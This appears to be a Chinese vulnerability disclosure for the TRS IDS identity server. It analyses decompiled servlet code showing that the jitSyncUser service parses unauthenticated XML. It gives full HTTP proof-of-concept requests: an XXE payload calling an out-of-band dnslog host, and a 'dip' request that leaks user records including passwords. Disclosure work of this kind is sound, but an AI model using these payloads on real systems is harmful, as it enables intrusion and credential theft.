### 简要描述:
TRS(ids)设计缺陷(xxe/用户信息泄露包括密码),好久没有发过漏洞了,突然上来看了看,发现漏洞提交页面都变了
### 详细说明:
首先我们看看web.xml配置文件:
```
<servlet>
<servlet-name>ServiceServlet</servlet-name>
<servlet-class>com.trs.idm.admin.service.ServiceServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>ServiceServlet</servlet-name>
<url-pattern>/service</url-pattern>
</servlet-mapping>
```
跟进ServiceServlet
```
protected void service(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException
{
if("GET".equalsIgnoreCase(request.getMethod()) && StringHelper.isEmpty(request.getQueryString()))
{
String responMsg = "It works!";
if(serviceHandlerManager == null)
responMsg = "It didn't work!";
response.getWriter().print(responMsg);
response.getWriter().flush();
return;
}
String hanlderType = RequestUtil.getParameterAndTrim(request, "idsServiceType");
LOG.debug((new StringBuilder("hanlder type in request is: ")).append(hanlderType).toString());
if(serviceHandlerManager == null)
{
LOG.warn((new StringBuilder("serviceHandlerManager is null! ")).append(idmServer.getStartError()).toString());
if("remoteapi".equals(hanlderType))
{
response.setContentType("text/xml;charset=utf-8");
setResponseType(request, response);
String responseMsg = ProcessorHelper.getErrorResponseAsXML(-2, idmServer.getStartError().toString(), com/trs/idm/admin/service/ServiceServlet.getName(), null);
sendResponse(response, responseMsg);
}
return;
}
IServiceHandler serviceHandler = serviceHandlerManager.getServiceHanlder(hanlderType);
if(serviceHandler == null)
{
LOG.warn((new StringBuilder("can not find hanlder by type: ")).append(hanlderType).toString());
return;
} else
{
serviceHandler.service(request, response);
return;
}
}
```
通过get方式获取一个服务的名称idsServiceType=xxxxx
然后这里去查询IServiceHandler serviceHandler = serviceHandlerManager.getServiceHanlder(hanlderType);服务存在否
```
public IServiceHandler getServiceHanlder(String serviceHanlderName)
{
return (IServiceHandler)ServiceHanldersMap.get(serviceHanlderName);
}
public Map getAllServiceHanlders()
{
return ServiceHanldersMap;
}
public void start(IDSContext idsCtx)
throws IdMException
{
IServiceHandler ssoAPIServiceHandler = new SSOAPIServiceHanlder(idsCtx);
ssoAPIServiceHandler.start();
IServiceHandler coAppStatusMonitorServiceHanlder = new CoAppStatusMonitorServiceHanlder(idsCtx);
coAppStatusMonitorServiceHanlder.start();
IServiceHandler v5httpHandler = new HTTPAPIAdaptorHandler(idsCtx);
v5httpHandler.start();
IServiceHandler v5httpssoHandler = new HTTPSSOAPIHandler(idsCtx);
v5httpssoHandler.start();
IServiceHandler realNameAuthServiceHandler = new RealNameAuthenticationServiceHandlerV2(idsCtx);
realNameAuthServiceHandler.start();
IServiceHandler sinaWeiboLoginHandler = new SinaWeiboLoginServiceHandler(idsCtx);
sinaWeiboLoginHandler.start();
IServiceHandler renrenLoginHandler = new RenRenLoginServiceHandler(idsCtx);
renrenLoginHandler.start();
IServiceHandler qqLoginHandler = new QQLoginServiceHandler(idsCtx);
qqLoginHandler.start();
IServiceHandler kaixinLoginHandler = new KaiXinLoginServiceHandler(idsCtx);
kaixinLoginHandler.start();
IServiceHandler doubanLoginHandler = new DoubanLoginServiceHandler(idsCtx);
doubanLoginHandler.start();
IServiceHandler openAuthLoginHandler = new OpenAuthLoginServiceHandler(idsCtx);
openAuthLoginHandler.start();
IServiceHandler idsServerStatusMonitorServiceHanlder = new IdsServerStatusMonitorServiceHanlder(idsCtx);
idsServerStatusMonitorServiceHanlder.start();
IServiceHandler federatedAuthHandler = new FederatedAuthHandler(idsCtx);
federatedAuthHandler.start();
IServiceHandler jitSyncUser = new JitSynchUserServiceHandler(idsCtx);
ServiceHanldersMap = new HashMap();
ServiceHanldersMap.put("remoteapi", v5httpHandler);
ServiceHanldersMap.put("httpssoservice", v5httpssoHandler);
ServiceHanldersMap.put("ssoapi", ssoAPIServiceHandler);
ServiceHanldersMap.put("coAppStatusMonitor", coAppStatusMonitorServiceHanlder);
ServiceHanldersMap.put("realNameAuthentication", realNameAuthServiceHandler);
ServiceHanldersMap.put("idsStatusMonitor", idsServerStatusMonitorServiceHanlder);
ServiceHanldersMap.put("jitSyncUser", jitSyncUser);
ServiceHanldersMap.put("openAuthLogin", openAuthLoginHandler);
ServiceHanldersMap.put("sinaWeiboLogin", sinaWeiboLoginHandler);
ServiceHanldersMap.put("renrenLogin", renrenLoginHandler);
ServiceHanldersMap.put("qqLogin", qqLoginHandler);
ServiceHanldersMap.put("kaixinLogin", kaixinLoginHandler);
ServiceHanldersMap.put("doubanLogin", doubanLoginHandler);
ServiceHanldersMap.put("federatedAuth", federatedAuthHandler);
ServiceHanldersMap.put("mockBabyTreeServer", new MockBabyTreeAppServer(idsCtx));
LOG.info("MemoryServiceHanlderManager start");
}
```
发现了 存在这么多服务,我们最主要的看jitSyncUser 这个服务
跟进到JitSynchUserServiceHandler
```
public void service(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException
{
request.setCharacterEncoding("UTF-8");
response.setContentType("text/html; charset=UTF-8");
response.setHeader("Pragma", "no-cache");
response.setHeader("Cache-Control", "no-store");
response.setDateHeader("Expires", -1L);
InputStream in = request.getInputStream();
byte buf[] = new byte[2048];
in.read(buf);
in.close();
String xml = (new String(buf, "UTF-8")).trim();
if(xml == null || xml.equals(""))
{
error(response, "XML\u6587\u6863\u4E3A\u7A7A");
return;
}
try
{
Document doc = DocumentHelper.parseText(xml);
Element root = doc.getRootElement();
synchUser(response, root, xml);
}
catch(DocumentException e)
{
error(response, "XML\u6587\u6863\u9519\u8BEF");
}
catch(Exception e)
{
error(response, "XML\u6587\u6863\u9519\u8BEF");
}
}
```
这里直接通过流读取一个xml,然后交给synchUser方法处理
```
private void synchUser(HttpServletResponse response, Element element, String xml)
throws IOException, IdMException
{
User user = getBean(element);
String action = getAction(element);
String status = "";
if("app".equalsIgnoreCase(action))
userManager.addUser(user, "");
else
if("mod".equalsIgnoreCase(action))
userManager.updateUser(user);
else
if("active".equalsIgnoreCase(action))
{
user.setActived(true);
userService.noticeEnableOrDisableUser(true, user);
} else
if("unactive".equalsIgnoreCase(action))
{
user.setActived(false);
userService.noticeEnableOrDisableUser(false, user);
} else
if("del".equalsIgnoreCase(action))
userManager.removeUser(user);
else
if("dip".equalsIgnoreCase(action))
{
User newUser = userManager.findByName(user.getUserName(), "ids_internal");
if(newUser != null)
{
String encode = buildReturnXml(newUser);
response.getWriter().print(encode);
return;
}
} else
if("check".equalsIgnoreCase(action))
{
String userExist = userManager.isUserExist(user.getUserName(), "", true);
status = userExist;
} else
if("check-up".equalsIgnoreCase(action))
{
status = checkUserInfo(user);
} else
{
error(response, "\u8BF7\u6C42\u7684\u65B9\u6CD5\u65E0\u6548");
return;
}
StringBuffer sb = new StringBuffer("<?xml version='1.0' encoding='UTF-8' ?><Inter-Xinhua Version='1.0'>");
if("check".equals(action))
{
if(status.equals("true") || status.equals("false"))
sb.append(String.format("<Error>false</Error><Exist>%s</Exist>", new Object[] {
status
}));
else
sb.append(String.format("<Error>true</Error><ErrorMessage>%s</ErrorMessage>", new Object[] {
status
}));
} else
if(status.equals(""))
sb.append("<Error>false</Error>");
else
sb.append(String.format("<Error>true</Error><ErrorMessage>%s</ErrorMessage>", new Object[] {
status
}));
sb.append("</Inter-Xinhua>");
response.getWriter().print(sb.toString());
}
```
那么看看第一个漏洞点:
```
try
{
Document doc = DocumentHelper.parseText(xml);
Element root = doc.getRootElement();
synchUser(response, root, xml);
}
```
这里直接对xml进行了解析,所以存在xxe漏洞,为了测试,我们cloudeye 演示一下
```
POST /ids/service?idsServiceType=jitSyncUser HTTP/1.1
Host: **.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: trsidsssosessionid=2382B8AE9E8FB5B441212CE2595F963E**.**.**.**
X-Forwarded-For: **.**.**.**
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------1988224119974
Content-Length: 196
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xdsec [<!ELEMENT methodname ANY ><!ENTITY xxe SYSTEM "http://mm1111.88d400.dnslog.info" >]><methodcall><methodname>&xxe;</methodname></methodcall>
```
[<img src="https://images.seebug.org/upload/201603/241025245f3ae8a58f15d4e940fcc373c979358d.gif" alt="trs1.gif" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201603/241025245f3ae8a58f15d4e940fcc373c979358d.gif)
下面的synchUser,因为接口是统一有问题的,所以这里就举其中一个信息泄露例子吧
```
POST /ids/service?idsServiceType=jitSyncUser HTTP/1.1
Host: **.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: trsidsssosessionid=2382B8AE9E8FB5B441212CE2595F963E**.**.**.**
X-Forwarded-For: **.**.**.**
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------1988224119974
Content-Length: 381
<?xml version="1.0" encoding="UTF-8"?><UserInfo><Method>dip</Method><AppId>dbg</AppId><ID>test</ID><Password>xxxxx</Password><CPassword>xxxxx</CPassword><Name>xxxxxx</Name><Domain></Domain><TEL>02965474561</TEL><PostCode>710000</PostCode><Mobile>15802991645</Mobile><Address>test123</Address><E-mail>test123@**.**.**.**</E-mail><UserType>dbg</UserType><ES></ES><DES></DES></UserInfo>
```
[<img src="https://images.seebug.org/upload/201603/24102712577de38796f9f2a9b1d8c55bb6360e5c.gif" alt="trs2.gif" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201603/24102712577de38796f9f2a9b1d8c55bb6360e5c.gif)
其他的 比如任意用户密码修改,用户激活等等这里就不举例子了
案例:
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
### 漏洞证明:
暂无评论